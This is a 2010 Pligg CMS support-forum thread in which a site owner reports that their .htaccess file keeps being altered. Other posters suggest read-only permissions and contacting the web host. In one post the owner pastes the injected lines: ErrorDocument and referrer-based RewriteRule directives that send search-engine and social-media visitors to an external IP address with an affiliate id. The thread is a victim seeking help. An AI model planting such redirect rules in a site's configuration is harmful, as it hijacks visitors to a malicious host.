someone is changing .htaccess file

Register an Account
Reply
 
Thread Tools Display Modes
  #1 (permalink)  
Old 03-08-2010, 05:47 PM
New Pligger
Pligg Version: 9.9.5
 
Join Date: Sep 2008
Posts: 7
Hi
My site news9(dot) biz using 1.03 version hosted on php 5.0
I noticed that someone is keep changing .htaccess file & adding some antivirus download links at the bottom of the file.
File attribute is 644.
What is the remedy.
Reply With Quote
  #2 (permalink)  
Old 03-08-2010, 06:18 PM
Yankidank's Avatar
Pligg Founder/Coder/Designer
Pligg Version: SVN
Pligg Template: Wistie
 
Join Date: Dec 2005
Location: Ocala, FL
Posts: 4,934
Send a message via AIM to Yankidank
Could you copy/paste the example lines that are being added?

The Twitter Module for Pligg CMS!
Register, Login, and Submit Stories with Twitter. An absolute MUST HAVE for all Pligg sites!
Reply With Quote
  #3 (permalink)  
Old 03-08-2010, 10:43 PM
Ascendancy's Avatar
Constant Pligger/Coder
Pligg Version: 1.2.0
Pligg Template: Custom
 
Join Date: Jan 2008
Location: Boston, MA
Posts: 131
Send a message via AIM to Ascendancy
You could try setting it to 444 as a read-only file. This doesn't solve how someone is editing your file with spam links, but it'll at least save you time and block out anyone from making changes. Unless whoever is doing this has FTP access to your account, in which they can just CHMOD and edit the file again... sounds like a tricky situation.

Pligg Developer for ~2 years
Snoggle News
Reply With Quote
  #4 (permalink)  
Old 03-12-2010, 08:56 AM
New Pligger
Pligg Version: 9.9.5
 
Join Date: Sep 2008
Posts: 7
Quote:
Originally Posted by Yankidank View Post
Could you copy/paste the example lines that are being added?
These are the lines being changed/ added:
RewriteCond %{QUERY_STRING} _REQUEST(=|\[|\%[0-9A-Z]{0,2})
ErrorDocument 400 http://94.102.48.46/main.php?land=20&affid=20103
ErrorDocument 401 http://94.102.48.46/main.php?land=20&affid=20103
ErrorDocument 403 http://94.102.48.46/main.php?land=20&affid=20103
ErrorDocument 404 http://94.102.48.46/main.php?land=20&affid=20103
ErrorDocument 500 http://94.102.48.46/main.php?land=20&affid=20103
RewriteCond %{HTTP_REFERER} .*google.* [OR]
RewriteCond %{HTTP_REFERER} .*ask.* [OR]
RewriteCond %{HTTP_REFERER} .*yahoo.* [OR]
RewriteCond %{HTTP_REFERER} .*baidu.* [OR]
RewriteCond %{HTTP_REFERER} .*youtube.* [OR]
RewriteCond %{HTTP_REFERER} .*wikipedia.* [OR]
RewriteCond %{HTTP_REFERER} .*qq.* [OR]
RewriteCond %{HTTP_REFERER} .*excite.* [OR]
RewriteCond %{HTTP_REFERER} .*altavista.* [OR]
RewriteCond %{HTTP_REFERER} .*msn.* [OR]
RewriteCond %{HTTP_REFERER} .*netscape.* [OR]
RewriteCond %{HTTP_REFERER} .*aol.* [OR]
RewriteCond %{HTTP_REFERER} .*hotbot.* [OR]
RewriteCond %{HTTP_REFERER} .*goto.* [OR]
RewriteCond %{HTTP_REFERER} .*infoseek.* [OR]
RewriteCond %{HTTP_REFERER} .*mamma.* [OR]
RewriteCond %{HTTP_REFERER} .*alltheweb.* [OR]
RewriteCond %{HTTP_REFERER} .*lycos.* [OR]
RewriteCond %{HTTP_REFERER} .*search.* [OR]
RewriteCond %{HTTP_REFERER} .*metacrawler.* [OR]
RewriteCond %{HTTP_REFERER} .*bing.* [OR]
RewriteCond %{HTTP_REFERER} .*dogpile.* [OR]
RewriteCond %{HTTP_REFERER} .*facebook.* [OR]
RewriteCond %{HTTP_REFERER} .*twitter.* [OR]
RewriteCond %{HTTP_REFERER} .*blog.* [OR]
RewriteCond %{HTTP_REFERER} .*live.* [OR]
RewriteCond %{HTTP_REFERER} .*myspace.* [OR]
RewriteCond %{HTTP_REFERER} .*linkedin.* [OR]
RewriteCond %{HTTP_REFERER} .*flickr.*
RewriteRule ^(.*)$ http://94.102.48.46/main.php?land=20&affid=20103 [R=301,L]

I already tried changing FTP access password & permission from 644 to 444. Nothing stops. Thanks
Reply With Quote
  #5 (permalink)  
Old 03-12-2010, 02:04 PM
Yankidank's Avatar
Pligg Founder/Coder/Designer
Pligg Version: SVN
Pligg Template: Wistie
 
Join Date: Dec 2005
Location: Ocala, FL
Posts: 4,934
Send a message via AIM to Yankidank
I would contact your web host provider to see if they could suggest a way to secure your server better. They are definitely adding some sneaky malware to your site.

The Twitter Module for Pligg CMS!
Register, Login, and Submit Stories with Twitter. An absolute MUST HAVE for all Pligg sites!
Reply With Quote
Reply

Thread Tools
Display Modes


Similar Threads
Thread Thread Starter Forum Replies Last Post
Index.php won't open to install nigelnix Questions and Comments 8 04-15-2010 06:19 PM
Working .htaccess file for URL method 2, Plig 9.9.0? eikum Questions and Comments 0 02-27-2009 04:24 AM
3dkiller's .htaccess file 3dKiller Questions and Comments 16 05-12-2007 07:40 PM
::How to:: Use .htaccess file with Pligg kbeeveer46 Questions and Comments 0 01-25-2007 11:16 AM
Internal Server Error wagthis Questions and Comments 12 01-16-2007 06:20 PM


Pligg Modules and Pligg Templates from Pligg Pro Find support on the Pligg CMS Forum - 24 hours a day! Make a donation to support Pligg CMS development